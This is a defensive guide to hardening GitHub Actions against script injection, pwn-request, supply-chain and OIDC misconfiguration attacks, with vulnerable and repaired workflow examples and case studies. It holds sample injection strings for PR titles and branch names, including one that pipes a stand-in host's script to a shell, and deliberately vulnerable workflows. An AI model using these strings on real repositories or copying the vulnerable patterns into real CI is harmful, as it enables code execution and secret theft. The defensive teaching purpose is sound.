Harden GitHub Actions against workflow and supply-chain attacks

A GitHub Actions compromise almost always has the same shape: content an outsider controls reaches a job that holds something valuable, namely secrets, a write-scoped GITHUB_TOKEN, cloud credentials through OIDC, or a persistent self-hosted runner. The content can be a pull request's code, its title or branch name, a dependency it adds, or an artifact or cache an earlier job produced. Start by listing which triggers run on outsider input (pull_request, pull_request_target, issue_comment, workflow_run) and which jobs can publish, deploy, write to the repo or read secrets. The risk lives where those two sets overlap.

Two facts make the overlap dangerous. First, pull_request_target and workflow_run run in the context of the base repository, so they get the repository's secrets and a token that can be write-scoped, even when the triggering pull request comes from a fork. Second, the fork's pull_request run itself gets neither: its GITHUB_TOKEN is read-only and no secrets are passed. So the safe default is to do untrusted work under pull_request and keep anything privileged away from fork-controlled code. The rest of this guide hardens each crossing in turn, and the GitHub defaults changed a lot across 2025 and 2026, so the dated changes are called out where they matter.

A run step is written to a temporary script, and GitHub expands every ${{ }} expression into that script text before the shell parses it. If an expression holds attacker-controlled text, the attacker is writing shell. A pull request title of a"; curl evil.sh | sh; " or a branch name like zzz";echo${IFS}pwned;# turns a harmless-looking grep into command execution on the runner. The vulnerable triage workflow below pastes github.event.issue.title straight into a bash test; an issue title can close the quote and run anything.

The fix is not to escape the value but to stop it from being code at all. Assign each context value to an env: variable, then reference the variable in the script with ordinary, quoted shell expansion. An environment variable's value never passes through the expression-expansion step, so the title is just data in a string. actionlint flags the vulnerable form, and GitHub's own guidance says the same: for inline scripts, set the value to an intermediate environment variable. Where you can, use an action that takes the value as an argument instead of building a shell string.

name: triage
on:
  issues:
    types: [opened]
permissions:
  issues: write
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - name: Label bug reports
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          if [[ "${{ github.event.issue.title }}" == *bug* ]]; then
            gh issue edit "${{ github.event.issue.number }}" --add-label bug --repo "$GITHUB_REPOSITORY"
          fi

The repaired triage workflow moves the title and number into env and references $TITLE and $NUMBER in the script, so no attacker text reaches the shell as code. The same version also tightens authority: the top-level permissions is {} (no token scopes), and the one job that needs to label issues declares issues: write with a comment saying why. Setting any permissions block drops every scope you do not list to none, which is exactly what you want.

This pattern, context through env and least-privilege permissions, is the single highest-value habit in Actions. Run actionlint and zizmor in CI so a future edit that reintroduces ${{ github.event.* }} in a run step fails the build.

name: triage
on:
  issues:
    types: [opened]
permissions: {}
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      issues: write   # add the label
    steps:
      - name: Label bug reports
        env:
          TITLE: ${{ github.event.issue.title }}
          NUMBER: ${{ github.event.issue.number }}
          GH_TOKEN: ${{ github.token }}
        run: |
          if [[ "$TITLE" == *bug* ]]; then
            gh issue edit "$NUMBER" --add-label bug --repo "$GITHUB_REPOSITORY"
          fi

The classic "pwn request" is a pull_request_target workflow that checks out the fork's head commit and then builds or tests it. Because pull_request_target carries the base repository's secrets and a write token, running the fork's code (through npm ci, make, a build script, or anything the fork controls) hands that code the secrets. The vulnerable workflow below does exactly this, and compounds it with permissions: write-all and an unpinned action. GitHub's rule is blunt: workflows on these triggers must not check out or execute untrusted code.

GitHub tightened the defaults here through 2026. actions/checkout v7 (June 2026, backported to v2 to v6 with enforcement on 2026-07-20) refuses to fetch fork pull-request code under pull_request_target or workflow_run unless you set allow-unsafe-pr-checkout: true; v1 is excluded, and a SHA-pinned checkout does not pick up the backport automatically. Workflow execution protections (GA September 2026) add a default rule that disables pull_request_target on public repositories with no event policy of their own. The rule runs in evaluate mode before enforcement, which GitHub's changelog set for 2026-11-02 (private and internal repos are unaffected). The low-trust cache is read-only by default too. These are backstops, not a design: the fix is still to not run fork code in a privileged context. /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ traces the whole privilege path, including artifact and cache handoffs.

name: pr-build
on: pull_request_target
permissions: write-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

When you genuinely need to act on a fork PR with privileges (post a comment, update a status), split it into two workflows. The untrusted half runs on pull_request with no secrets and a read-only token: it builds, tests and writes a small, data-only summary as an artifact. The privileged half runs on workflow_run after the first completes, downloads that artifact, and does the privileged action. The CI workflow below is the untrusted half: note persist-credentials: false on a SHA-pinned checkout, and that it only ever emits a bounded JSON file.

The privileged half must treat the artifact as untrusted data, never as code. The companion ci-comment workflow downloads the summary into an untrusted/ directory, checks its size, validates that it is exactly the expected integer fields in range, and only then posts a comment. It never unzips and runs anything from the artifact, and it re-reads the PR head from the API to bind the comment to the right commit. This is the same contract as GitHub's guidance that workflow_run artifacts from other workflows are untrusted.

name: ci
on: pull_request
permissions:
  contents: read   # read the code; fork PRs get no secrets and a read-only token
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: npm ci && npm test
      - name: Write a data-only summary
        env:
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: ./ci/summary.sh "$PR_NUMBER" > summary.json
      - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: summary
          path: summary.json

The consumer below is the whole point of the split. It downloads the summary artifact from the triggering run, enforces a size cap, and uses one jq assertion to require exactly the keys failed, passed and pr, each a non-negative integer below a million. Anything else (an extra key, a string, a float, an oversized blob, a non-JSON body) fails the step before any privileged call. It then confirms the PR's current head matches the workflow_run head SHA so a race cannot retarget the comment. Only after all that does it call gh pr comment.

Tested against hostile inputs, this step accepts the valid summary and rejects an extra key, a string pr, a float, a negative number, a boolean, non-JSON, an oversized file, and a mismatched head commit. That is the bar for anything that consumes a less-trusted artifact: a narrow schema, hard limits, and no path from artifact content to execution.

name: ci-comment
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
permissions: {}
jobs:
  comment:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    permissions:
      actions: read          # download the other run's artifact
      pull-requests: write   # post the comment
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: summary
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
          path: untrusted
      - name: Validate the artifact as data, then comment
        env:
          GH_TOKEN: ${{ github.token }}
          HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
        run: |
          set -euo pipefail
          f=untrusted/summary.json
          [ "$(wc -c < "$f")" -le 1024 ]
          jq -e 'keys == ["failed","passed","pr"] and all(.[]; type == "number" and . >= 0 and . == floor and . < 1000000)' "$f" > /dev/null
          pr=$(jq '.pr' "$f"); passed=$(jq '.passed' "$f"); failed=$(jq '.failed' "$f")
          head=$(gh pr view "$pr" --repo "$GITHUB_REPOSITORY" --json headRefOid --jq .headRefOid)
          [ "$head" = "$HEAD_SHA" ]
          gh pr comment "$pr" --repo "$GITHUB_REPOSITORY" --body "Tests: $passed passed, $failed failed"

A third-party action runs with your workflow's privileges, so its reference is a trust decision. A tag like @v4 is mutable: whoever controls the action's repository can move it to new code. Pin to a full-length commit SHA and keep the version in a trailing comment, for example uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1. GitHub states a full-length commit SHA is currently the only way to use an action as an immutable release, and repository or organization policy can require SHA pinning and even block specific actions (a ! prefix in the allow list, since August 2025). Pair pinning with Dependabot, which updates pinned SHAs; note Dependabot does not raise alerts for actions already pinned to a SHA, so updates are how you get fixes.

The 2025 tj-actions/changed-files compromise (CVE-2025-30066, CVSS 8.6) is the cautionary tale, told in full in /domains/supply-chain/ci-cd/case-study-tj-actions/. Attackers who had obtained a maintainer token repointed the action's existing version tags at a malicious commit; the injected code dumped the runner's memory and printed secrets, double-base64-encoded, into workflow logs. Every workflow referencing the action by tag ran the malicious code; a workflow pinned to a known-good SHA did not. Unit 42 traced the entry point back through a compromised reviewdog action (CVE-2025-30154) to a SpotBugs pull_request_target workflow that leaked a token; although the action was used by tens of thousands of repositories, Endor Labs found that only 218 actually leaked secrets, most of them short-lived GITHUB_TOKENs. CISA added both CVEs to its Known Exploited Vulnerabilities catalog. The lessons are exactly this guide: pin to SHAs, keep tokens least-privilege and short-lived, and avoid pull_request_target with untrusted code.

name: deploy
on:
  push:
    branches: [main]
permissions: {}
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write   # request the OIDC token for AWS
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@cbe3b392738ccf3f987d68400dafcf4b0624a56c # v6.2.4
        with:
          role-to-assume: arn:aws:iam::111122223333:role/acme-web-deploy
          aws-region: us-east-1
      - run: ./scripts/deploy.sh

Prefer short-lived OIDC credentials over long-lived cloud secrets stored in the repo. The deploy workflow above requests an OIDC token with id-token: write (which only lets the job mint the token, not write to the repo), runs on a protected push to main, and uses an environment so a reviewer and branch rules gate it. The matching AWS role trust policy is where the real control lives: it must require the audience and a sub claim scoped to your repository and, here, the production environment.

The trust policy below allows only a token whose sub is repo:acme/web:environment:production with the sts.amazonaws.com audience. GitHub's guidance and AWS both insist you define at least one condition so untrusted repositories cannot assume the role; a tested trap is a StringLike wildcard such as repo:acme/*, which would also admit a fork or an unrelated repo. Tested against sample tokens, the scoped policy allows the production deploy and denies a main-branch job without the environment, a pull_request job, another repo using the same environment name, and a wrong audience; the wildcard policy wrongly allows the first four. Note the subject format change: repositories created after 2026-07-15 use immutable subject claims of the form repo:OWNER@OWNER-ID/REPO@REPO-ID:..., so match your repository's actual format, and use repository custom property claims (GA in 2026) when you want to key trust on a compliance tier rather than a name.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com" },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:acme/web:environment:production"
      }
    }
  }]
}

Self-hosted runners should almost never run public-repository workflows: a fork pull request can run code that persistently compromises the host, and destroying the VM after each job is not guaranteed unless you make the runner ephemeral. Use GitHub-hosted runners where you can, and ephemeral or just-in-time runners (one job, then removed) otherwise, placed in runner groups that bound their network reach. Remember that a secret passed as a command-line argument can be read by another job on the same machine.

For secrets, keep them out of workflow files, store each sensitive value as its own secret (structured JSON blobs defeat log masking), and register any value you derive from a secret with ::add-mask:: so it is redacted too. Masking is best-effort, so if a secret appears in a log, rotate it. Use environments with required reviewers (up to six, one approval needed) and deployment branch rules to gate production: environment secrets are not released to a job until a reviewer approves, which keeps them away from unreviewed code. Finally, run OpenSSF Scorecard's Dangerous-Workflow, Token-Permissions and Pinned-Dependencies checks, or actionlint and zizmor, in CI so these properties are enforced on every change rather than reviewed once. Codecov's 2021 compromise (/domains/supply-chain/ci-cd/case-study-codecov/) shows why: a modified script downloaded in CI posted every environment variable to an attacker. Protect the workflow files themselves with CODEOWNERS and rulesets (/domains/supply-chain/ci-cd/source-repository-protection/).

Repair the code

Actions injection lab: Flag GitHub Actions expression injection

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

1. GitHub Actions: secure use reference (script injection, pinning, GITHUB_TOKEN, runners, triggers)
2. GitHub Actions: securely using pull_request_target (v7 checkout, default policy)
3. Safer pull_request_target defaults for actions/checkout (GitHub changelog, 2026-06-18)
4. Workflow execution protections generally available (GitHub changelog, 2026-09-17)
5. Control GitHub Actions cache access with cache-mode (GitHub changelog, 2026-09-10)
6. Immutable subject claims for GitHub Actions OIDC tokens (GitHub changelog, 2026-04-23)
7. GitHub OIDC reference: token claims and customizing the subject
8. CISA: Supply chain compromise of third-party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154). 18 March 2025.
9. Unit 42: GitHub Actions supply chain attack, from Coinbase to tj-actions/changed-files. Updated 2 April 2025.
10. Endor Labs: Blast radius of the tj-actions/changed-files supply chain attack. 19 March 2025, updated 25 August 2025.
11. GitHub Actions default GITHUB_TOKEN permissions set to read-only (changelog, 2023-02-02)
12. OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE). v1.0 (2022).
13. CISA, NSA and ODNI (Enduring Security Framework): Securing the Software Supply Chain, Recommended Practices Guide for Developers, section 2.4 Harden the Build Environment. August 2022.

Reference information

Tags

InjectionWorkload identitySecrets managementCI/CD security

SDLC phase

DevelopmentRelease

Role

DevelopersAppSec engineersPlatform engineers and SREs

ASVS 5.0.0 requirements

v5.0.0-1.2.5 · v5.0.0-13.3.1 · v5.0.0-13.3.2

CAPEC attack patterns

• CAPEC-88 at MITRE
• CAPEC-538 at MITRE

Download this guide as Markdown

Continue exploring